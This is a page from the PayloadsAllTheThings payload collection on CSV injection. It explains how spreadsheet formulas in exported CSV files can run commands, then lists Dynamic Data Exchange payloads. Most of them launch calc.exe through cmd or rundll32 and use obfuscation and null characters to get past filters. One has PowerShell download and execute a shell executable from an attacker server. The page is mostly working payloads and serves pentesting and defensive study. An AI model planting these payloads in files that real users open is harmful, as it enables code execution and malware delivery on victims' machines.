PayloadsAllTheThings/CSV Injection
2024-11-10 11:18:46 +01:00
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README.md Normalize page header for CSRF, DNS, DOS, Dependencies 2024-11-10 11:18:46 +01:00

CSV Injection

Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.

Summary

Methodology

Basic exploits with Dynamic Data Exchange.

  • Spawn a calc

    DDE ("cmd";"/C calc";"!A0")A0
    @SUM(1+1)*cmd|' /C calc'!A0
    =2+5+cmd|' /C calc'!A0
    =cmd|' /C calc'!'A1'
    
  • PowerShell download and execute

    =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
    
  • Prefix obfuscation and command chaining

    =AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
    =cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
    +thespanishinquisition(cmd|'/c calc.exe'!A
    =         cmd|'/c calc.exe'!A
    
  • Using rundll32 instead of cmd

    =rundll32|'URL.dll,OpenURL calc.exe'!A
    =rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
    
  • Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.

    =    C    m D                    |        '/        c       c  al  c      .  e                  x       e  '   !   A
    

Technical details of the above payloads:

  • cmd is the name the server can respond to whenever a client is trying to access the server
  • /C calc is the file name which in our case is the calc(i.e the calc.exe)
  • !A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data

Any formula can be started with

=
+

@

References